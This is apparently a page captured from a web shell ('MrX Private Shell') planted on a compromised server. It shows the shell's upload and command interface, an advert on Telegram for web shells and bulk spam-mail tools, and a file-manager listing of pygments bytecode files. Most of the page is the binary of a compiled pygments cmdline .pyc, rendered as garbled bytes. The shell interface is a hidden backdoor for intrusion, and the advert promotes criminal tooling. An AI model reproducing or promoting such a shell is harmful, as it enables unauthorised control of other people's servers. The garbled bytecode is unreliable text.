__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�&�g�[��j�SrSSKrSSKrSSKrSSKrSSKJr SSKJrJ	r	 SSK
JrJrJ
r
JrJrJrJr SSKJrJrJrJrJrJr SSKJr SSKJrJr SS	KJrJ r J!r!J"r"J#r# SS
K$J%r% SSK&J'r'J(r( SSK)J*r*J+r+ SS
K,J-r-J.r. Sr/Sr0Sr1Sr2Sr3Sr4"SS\Rj5r5\Rl4Sjr7g)z�
pygments.cmdline
~~~~~~~~~~~~~~~~

Command line interface.

:copyright: Copyright 2006-2024 by the Pygments team, see AUTHORS.
:license: BSD, see LICENSE for details.
�N)�dedent)�__version__�	highlight)�
ClassNotFound�OptionError�docstring_headline�guess_decode�guess_decode_from_terminal�terminal_encoding�UnclosingTextIOWrapper)�get_all_lexers�get_lexer_by_name�guess_lexer�load_lexer_from_file�get_lexer_for_filename�find_lexer_class_for_filename)�	TextLexer)�LatexEmbeddedLexer�LatexFormatter)�get_all_formatters�get_formatter_by_name�load_formatter_from_file�get_formatter_for_filename�find_formatter_class)�TerminalFormatter)�Terminal256Formatter�TerminalTrueColorFormatter)�get_all_filters�find_filter_class)�get_all_styles�get_style_by_namec�L�0nU(dU$UH}nUR5(dMURS5nUHLnUR5nURSS5upVUR5nUR5nXaU'MN M U$![a SX'Mgf=f)N�,�=�T)�strip�split�
ValueError)�o_strs�opts�o_str�o_args�o_arg�o_key�o_vals       �2/usr/lib/python3/dist-packages/pygments/cmdline.py�_parse_optionsr1!s���
�D�������{�{�}�}�����S�!���E��K�K�M�E�
$�$�{�{�3��2������
�����
��$�U���	��K��	�
#�"���
#�s�4B�B#�"B#c���/nU(dU$UHOnSU;a3URSS5up4URU[U/545 M<URU045 MQ U$)N�:r%)r'�appendr1)�f_strs�filters�f_str�fname�foptss     r0�_parse_filtersr:6sa���G�������%�<� �;�;�s�A�.�L�E��N�N�E�>�5�'�#:�;�<��N�N�E�2�;�'���N�c��US:XaC[U5n[SURS35 [[UR55 gUS:XaC[U5n[SURS35 [[UR55 gUS:Xa8[
U5n[SUS35 [[UR55 g![[4a [US	3[RS
9 gf=f)N�lexerzHelp on the z lexer:�	formatterz formatter:�filterz filter:rz not found!��filer%)r�print�namer�__doc__rr�AttributeErrorr(�sys�stderr)�whatrC�clss   r0�_print_helprJCs�����7�?�#�D�)�C��L����
�'�2�3��&����%�&���[�
 �&�t�,�C��L����
�+�6�7��&����%�&�
�	�X�
�#�D�)�C��L���h�/�0��&����%�&����J�'��
���k�"����4���s�AC�AC�>C�+D�Dc���US:Xa�[5 [S5 [S5 /n[5HUup#pESRU5S-UU=(a SSRU5-S-=(d S4nURU5 MW UR	5 UHn[S	R
"U65 M gUS
:Xa�[5 [S5 [S5 /n[
5Hzn[U5n	SRUR5S-X�R=(a! SSRUR5-S-=(d S4nURU5 M| UR	5 UHn[S	R
"U65 M gUS
:Xae[5 [S5 [S5 [5H6n
[U
5n[SU
-S-5 [S[U535 M8 gUS:Xae[5 [S5 [S5 [5H6n
[U
5n[SU
-S-5 [S[U535 M8 gg)Nr=zLexers:z~~~~~~~z, r3z(filenames �)�z* {}
    {} {}r>zFormatters:z~~~~~~~~~~~r?zFilters:z~~~~~~~~z* z    �stylezStyles:)rBr
�joinr4�sort�formatrr�aliases�	filenamesrrr r!)rH�info�fullname�names�exts�_�tup�irI�docrCs           r0�_print_listr\Ws���w��
��
�i��
�i����(6�(8�$�H�T��9�9�U�#�C�'���A�M�D�I�I�d�O�;�c�A�G�R�I�C��K�K���)9�	
�	�	���A��$�,�,�a�0�1��
��	�
��
�m��
�m����%�'�C�$�S�)�C��9�9�S�[�[�)�C�/��m�m�7B� �4�9�9�S�]�]�#;�;�c�A�7H�EG�I�C��K�K���	(�
	
�	�	���A��$�,�,�a�0�1��
��	�
��
�j��
�j��#�%�D�#�D�)�C��$��+��#�$��D�+�C�0�1�2�3�&�

���
��
�i��
�i��"�$�D�#�D�)�C��$��+��#�$��D�+�C�0�1�2�3�%�
r;c��SSKn0nSU;a"0n[5HupEpgUUUS.X4'M X2S'SU;aH0n[5H4n[U5n	URUR
U	S.X8R'M6 X2S'SU;a10n[5Hn
[U
5nS	[U50X:'M X2S
'SU;a10n[5Hn
[U
5nS	[U50X:'M X2S'URU[R5 g)
Nrr=)rRrS�	mimetypes�lexersr>)rRrSr[�
formattersr?r[r6rN�styles)�jsonr
rrrRrSrCrrr r!�dumprF�stdout)�requested_itemsrb�resultrTrUrVrSr^rIr[rCs           r0�_print_list_as_jsonrg�s(���
�F��/�!���5C�5E�1�H�Y� �&�&��D�N�6F� �x���o�%���%�'�C�$�S�)�C��;�;� �]�]���D���N�(� $�|���?�"���#�%�D�#�D�)�C��)�#�.��D�J�&�
!�y���/�!���"�$�D�#�D�)�C��)�#�.��D�J�%�
 �x���I�I�f�c�j�j�!r;c�^^&�TR(aUR5 gTR(a[S[S35 gU4SjnTR
GbP[
5n[T5R5HupEU(dMURU5 M! URS5 URS5 U(a UR[R5 gTR(d
[SS	/5 1S
km&TR
Vs/sHofRS5PM nn[!U&4SjU55(a UR[R5 gU(dT&nTR(dUHn[#U5 M g[%U5 gTR&(alU"S
5(d UR[R5 gTR&up�US;a UR[R5 g[)X�5$[+TR,=(d /5n
TR.=(d /HnUR1SS5up�X�U	'M U
R5SU
R5S55n
U
R5SU
R5S55nTR6(a7[9TR65nUc[:n[UR<S5 gTR>(aL[R@RBRE5n[GUU
S9n[UR<S5 gTRJnTRLnUb�TRNnU(d UR[R5 gTRP(dTRR(a UR[R5 gUU
S'[UU40U
D6n[URWU=(d S55 gTRLb UR[R5 g[YTRZ=(d /5n[]TR^5nSnTRPnU(akU(aWSU;aQSnSn	SU;aURaSS5unn	SU	;aSn	U(aU	(a[cUU	40U
D6nO[cU40U
D6nO
[eU40U
D6nSnTRR(a�TRh(a[S[RS9 gTRRn[kUS5nURE5nSSS5 U
(d[oU5unn
U(d[qUU40U
D6nO�O�TRh(db[R@RBRE5nU
(d[uU[R@5unn
U(d[GU40U
D6nO!O U(d[S[RS9 gUHunnURv"U40UD6 M TRxnTRNnU(akU(aWSU;aQSnSn	SU;aURaSS5unn	SU	;aSn	U(aU	(a[{UU	40U
D6nO[{U40U
D6nO
[UU40U
D6nU(a"U(d
[}U40U
D6n[kUS5n O�U(dk[~R�R5S!S5S";a[�S,0U
D6nO;S#[~R�R5S$S5;a[�S,0U
D6nO[�S,0U
D6n[R�RBn U(d-U(aU
UlEO[�[R�5UlEU(da[R�S%;aMUR�S&;a=[�U UR�S'9n SUlESSKJn!U!R�R�U SSS(SS)9n U
R5S*S5n"[�U"5S:Xa,[�U[�5(aU"Sn#U"Sn$[�U#U$U5nTRh(d'[�UUUU 5 U(aU R�5 g[R@RBR�5n%U%(dOUU
(d[uU%[R@5Sn%[�U%UUU 5 [�U S+5(aU R�5 M�U(aU R�5 ggs snf![2a	 SX�'GMf=f![Ha
 [:nGN<f=f![Ha"n[U[RS9 SnAgSnAff=f![Ha#n[SU[RS9 SnAgSnAff=f![f[H4a#n[SU[RS9 SnAgSnAff=f!,(df   GN�=f![la#n[SU[RS9 SnAgSnAff=f![HagnTRr(a3[GU40U
D6nSnAGNX![Ha [;S,0U
D6nSnAGNtf=f[SU[RS9 SnAgSnAf[fa#n[SU[RS9 SnAgSnAff=f![Ha [;S,0U
D6nGN�f=f![Ha$n[SU[RS9 SnA gSnAff=f![Ha#n[SU[RS9 SnAgSnAff=f![f[H4a#n[SU[RS9 SnAgSnAff=f![f[H4a#n[SU[RS9 SnAgSnAff=f![la#n[S U[RS9 SnAgSnAff=f![�a GN�f=f!U(aU R�5 ff=f![�a U(aU R�5 ggf=f!U(aU R�5 ff=f)-NrzPygments version uD, (c) 2006-2024 by Georg Brandl, Matthäus Chajdas and contributors.c�h>^�[U4Sj[T5R555(+$)Nc3�<># �UHupUT:wdM
Uv� M g7f�N�)�.0�k�v�opts   �r0�	<genexpr>�5main_inner.<locals>.is_only_option.<locals>.<genexpr>�s����G�':�V�a�a�3�h�q�q�':�s��	)�any�vars�items)rp�argnss`�r0�is_only_option�"main_inner.<locals>.is_only_option�s$����G�t�E�{�'8�'8�':�G�G�G�Gr;�Lrb�rM�-V>r=rNr?r>�sc3�,># �UH	oT;v� M g7frkrl)rm�arg�
allowed_typess  �r0rq�main_inner.<locals>.<genexpr>�s����9�5�C�-�'�5�s��H)r=r>r?r$r%T�
inencoding�encoding�outencoding)r�rNr@z.pyr3zError:z5Error: -s option not usable when input file specified�rbzError: cannot read infile:z7Error: when using -s a lexer has to be selected with -l�wbzError: cannot open outfile:�	COLORTERM)�	truecolor�24bit�256�TERM)�win32�cygwin)�Terminal�Terminal256)r�F)�convertr&�	autoreset�wrap�escapeinside�flushrl)X�help�
print_help�VrBrry�setrtru�add�discardrFrGrb�main�rstriprsr\rgr�rJr1�O�Pr'r(�get�NrrrR�C�stdin�buffer�readrr�S�a�f�l�	INPUTFILEr�get_style_defsr:�F�bool�x�rsplitrrrr|�open�	Exceptionr	r�gr
�
add_filter�orr�os�environrrrrdr�r�platformrCr�colorama.initialise�
initialise�wrap_stream�ImportError�len�
isinstancerrr�close�readline�hasattrr��KeyboardInterrupt)'�parserrvrw�arg_setrnror~�largsrHrC�parsed_opts�p_opt�valuer�r�r=�inp�S_opt�a_opt�f_opt�fmter�err�F_opts�allow_custom_lexer_formatter�	lexername�filename�code�infn�infpr8r9�outfn�outfile�coloramar��left�right�liners' `                                    @r0�
main_innerr��sc
����z�z�������w�w�
�!�+��/*�*�	+��H�
�w�w���%����K�%�%�'�D�A��q����A��(�	��������������c�j�j�)���z�z��"�d���A�
�,1�G�G�4�G�S���C��G��4��9�5�9�9�9����c�j�j�)���!�E��z�z����C� ���
 ��&��
�w�w��c�"�"����c�j�j�)���W�W�
���7�7����c�j�j�)���4�&�&�!�����B�/�K�����B���	&��+�+�c�1�-�K�D�!&���
�����{���z�/J�K�J��/�/�-�����1L�M�K�
�w�w�-�e�g�g�6���=��E�
�e�m�m�A����
�w�w��i�i���#�#�%��	���
�;�E�	�e�m�m�A����
�G�G�E��G�G�E�����������c�j�j�)���7�7�e�o�o����c�j�j�)��	�#(�K�� �)�%�?�;�?�E�
	�e�"�"�5�;�B�/�0��
�w�w�����#�*�*�%���E�G�G�M�r�
*�F�$(����=� �
�E����I��'�E�Y�,>�
������)�#�%.�%5�%5�c�1�%=�N�H�d���}� $����0��4�@�3>�@�E�1��J�k�J�E�

�)�)�C�{�C���D�����7�7��I��z�z�
#������	��d�D�!�T��y�y�{��"�
�+�D�1��D�*��

�.�t�T�I�[�I��� �W�W��y�y���$�$�&���9�$��	�	�J��D�*��
1�#�D�8�K�8�����K��z�z�
#�����u�	����U�,�e�,��
�G�G�E��G�G�E��'�E�U�N�
������%�<�%*�\�\�#�q�%9�N�H�d���}�#����4�X�t�D�7B�D�E�5�U�J�k�J�E�

�-�e�C�{�C��

��
�2�5�H�K�H��	��5�$�'�G�
��z�z�~�~�k�"�-�1G�G�2�A�[�A���"�*�*�.�.���4�4�,�;�{�;��)�8�K�8���*�*�#�#����'�E�N�/�s�z�z�:�E�N��S�\�\�%8�8��z�z�0�0�(��5�>�>�J�����	O�&��)�)�5�5���T�U��6�O�G��?�?�>�2�6�L�
�<��A��*�U�N�"C�"C��A����Q���"�4���6���7�7�	 ��d�E�5�'�2���
�
���	 ���y�y�'�'�0�0�2����!�5�d�C�I�I�F�q�I�D��$��u�g�6��7�G�,�,��M�M�O�����
�
����Y	5��>�	&�!%�K��	&��.�	��E�	��*�	��#�C�J�J�'���	��T!�
��h��#�*�*�5���
�� ��/�
��h��#�*�*�5���
��"�!���	��.��#�*�*�E���	��!�
��7�7�9� +�D� @�K� @���(�9� )� 8�K� 8��9���(�C�c�j�j�9����
��h��#�*�*�5���
��!�
1�!�0�K�0��
1���	��(�C�c�j�j�1���	��2!�
��h��#�*�*�5���
�� ��/�
��h��#�*�*�5���
�� ��/�
��h��#�*�*�5���
��
�	��/��3�:�:�F���	��<�	��	��*��
�
���� !�	����
�
���	����
�
���s��e�"e�
e5�6f�.Af;�1f;�?g+�h3�!h!�2h3�
i#�l�l�Am�	m�m?�2n5�?o+�p�p,�:Bq	�e2�1e2�5f	�f	�
f8�f3�3f8�;
g(�g#�#g(�+h�;h�h�!
h0�+h3�0h3�3
i �=i�i �#
k?�-k�?j�j.�&k�-j.�.k�
k?�k:�:k?�l�l�
m�(m�m�
m<�m7�7m<�?n2�n-�-n2�5o(�o#�#o(�+
p�5p�p�
p)�(p)�,q�	
q.�q1�-q.�.q1�1rc��\rSrSrSSjrSrg)�
HelpFormatteriNc��Uc#[R"5RS-
n[R
R
XUX45 g![a N.f=f)Nrz)�shutil�get_terminal_size�columnsr��argparser��__init__)�self�prog�indent_increment�max_help_position�widths     r0r��HelpFormatter.__init__sX���=�
��0�0�2�:�:�Q�>��	���'�'��4D�(9�	B���
��
�s�"A	�	
A�Arl)rz�N)�__name__�
__module__�__qualname__�__firstlineno__r��__static_attributes__rlr;r0r�r�s��Br;r�c�B�Sn[R"US[S9nURS5nUR	5nURSSSS9 URS	S
SS9 URS
SSSS9 URSSSS9 URSSSSS9 URSSSSS9 URSSSS9 URSSS S!9 URS"5nURS#S
S$S9 URS%S
S&S9 URS'S
S(S9 URS)S*SS
S+9 URS,5nUR	5nURS-S.S/S9 URS0S1S2S3S49 URS5S6S7S9 URS8S
S9S9 URS:S;S<S=S>S?9 URS@S
SAS9 URSBSCS
SDS9 URSESFSGS9 UR
USHSI5n[X(5$![a gJ[Ga� UR(a�[[RSK9 [SL[RSK9 [SM[RSK9 [SN[RSK9 [SO[RSK9 [SL[RSK9 [[RSK9 eSJSIKn	U	R"[R "56n
U
SPR#5n[%U
5SQ:�a:USRR'U
SSR)ST5SJR#5SHSI5-
n[[RSK9 [SU[RSK9 [U[RSK9 [SV[RSK9 gHf=f)Wz 
Main command line entry point.
z?Highlight an input file and write the result to an output file.F)�description�add_help�formatter_classzMain operationz-l�LEXERz~Specify the lexer to use.  (Query names with -L.)  If not given and -g is not present, the lexer is guessed from the filename.)�metavarr�z-g�
store_truez`Guess the lexer from the file contents, or pass through as plain text if nothing can be guessed.)�actionr�z-FzFILTER[:options]r4znAdd a filter to the token stream.  (Query names with -L.) Filter options are given after a colon if necessary.)r�r�r�z-f�	FORMATTERz�Specify the formatter to use.  (Query names with -L.) If not given, the formatter is guessed from the output filename, and defaults to the terminal formatter if the output is to the terminal or an unknown file extension.z-OzOPTION=value[,OPTION=value,...]zyGive options to the lexer and formatter as a comma-separated list of key-value pairs. Example: `-O bg=light,python=cool`.z-PzOPTION=valuez�Give a single option to the lexer and formatter - with this you can pass options whose value contains commas and equal signs. Example: `-P "heading=Pygments, the Python highlighter"`.z-o�
OUTPUTFILEz8Where to write the output.  Defaults to standard output.r��?z5Where to read the input.  Defaults to standard input.)�nargsr�zOperation flagsz-vzbPrint a detailed traceback on unhandled exceptions, which is useful for debugging and bug reports.z-sa!Process lines one at a time until EOF, rather than waiting to process the entire file.  This only works for stdin, only for lexers with no line-spanning constructs, and is intended for streaming input such as you get from `tail -f`. Example usage: `tail -f sql.log | pygmentize -s -l sql`.z-xa�Allow custom lexers and formatters to be loaded from a .py file relative to the current working directory. For example, `-l ./customlexer.py -x`. By default, this option expects a file with a class named CustomLexer or CustomFormatter; you can also specify your own class name with a colon (`-l ./lexer.py:MyLexer`). Users should be very careful not to use this option with untrusted files, because it will import and run them.z--jsonz=Output as JSON. This can be only used in conjunction with -L.)r��defaultr�z*Special modes - do not do any highlightingz-SzSTYLE -f formatterzqPrint style definitions for STYLE for a formatter given with -f. The argument given by -a is formatter dependent.z-L�*�WHATz�List lexers, formatters, styles or filters -- give additional arguments for the thing(s) you want to list (e.g. "styles"), or omit them to list everything.)r�r�r�z-N�FILENAMEz�Guess and print out a lexer name based solely on the given filename. Does not take input or highlight anything. If no specific lexer can be determined, "text" is printed.z-CzXLike -N, but print out a lexer name based solely on a given content from standard input.z-H�storerz)�NAME�TYPEzrPrint detailed help for the object <name> of type <type>, where <type> is one of "lexer", "formatter" or "filter".)r�r�r�r�r{zPrint the package version.z-hz--helpzPrint this help.z-a�ARGzKFormatter-specific additional argument for the -S (print style sheet) mode.r%Nrr@zA*****************************************************************z3An unhandled exception occurred while highlighting.z9Please report the whole traceback to the issue tracker atz.<https://github.com/pygments/pygments/issues>.����z	
   (f{})����
z*** Error while highlighting:z>*** If this is a bug you want to report, please rerun with -v.)r��ArgumentParserr��add_argument_group�add_mutually_exclusive_group�add_argument�
parse_argsr��BrokenPipeErrorr�rorBrFrG�	traceback�format_exception�exc_infor&r�rQr')�args�descr��	operation�lexersel�flags�special_modes_group�
special_modesrvr
rT�msgs            r0r�r�sW��M�D�
�
$�
$���5B�D�F��)�)�*:�;�I��5�5�7�H�����g�O��P�
����\�3��4�����(��?��@�����k�1��2�����7��.��/�
����n�X�D��E�
����l�
G��I�����3�
D��F�
�%�%�&7�8�E�	����\�3��4�
����\�C��D�
����\�6��7�
���x�'/�����
!�3�3�4�6��'�D�D�F�M�����*����
����C��<��=�
����j�6��7�
����\�/��0�����W�A�/?�C��D�����\�
)��+�����h�|�
��!��$�$��e��%��

���d�1�2�h�'�E���&�(�(��������7�7��s�z�z�"��(����,��G��z�z�
#��M��z�z�
#��B��z�z�
#��(����,��s�z�z�"����)�)�3�<�<�>�:���2�h�n�n����t�9��>��<�&�&�t�B�x�~�~�d�';�A�'>�'D�'D�'F�q�r�'J�K�K�C�
�3�:�:��
�-�C�J�J�?�
�c��
�
�#�
�N��:�:�	��1�s�!
G,�,
N�8F#N�N)8rDr�rFr�r��textwrapr�pygmentsrr�
pygments.utilrrrr	r
rr�pygments.lexersr
rrrrr�pygments.lexers.specialr�pygments.formatters.latexrr�pygments.formattersrrrrr�pygments.formatters.terminalr�pygments.formatters.terminal256rr�pygments.filtersrr�pygments.stylesr r!r1r:rJr\rgr�r��argvr�rlr;r0�<module>r$s����
�
�
���+����P�P�-�H�O�O�:�\�?�=��*
��(04�f*"�XL �^
B�H�*�*�B��h�h�Lr;

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 3.29 KB 0644
__main__.cpython-313.pyc File 718 B 0644
cmdline.cpython-313.pyc File 26.32 KB 0644
console.cpython-313.pyc File 2.5 KB 0644
filter.cpython-313.pyc File 3.11 KB 0644
formatter.cpython-313.pyc File 4.38 KB 0644
lexer.cpython-313.pyc File 37.84 KB 0644
modeline.cpython-313.pyc File 1.49 KB 0644
plugin.cpython-313.pyc File 2.45 KB 0644
regexopt.cpython-313.pyc File 3.97 KB 0644
scanner.cpython-313.pyc File 4.53 KB 0644
sphinxext.cpython-313.pyc File 11.84 KB 0644
style.cpython-313.pyc File 6.72 KB 0644
token.cpython-313.pyc File 8.01 KB 0644
unistring.cpython-313.pyc File 32.21 KB 0644
util.cpython-313.pyc File 13.8 KB 0644
Filemanager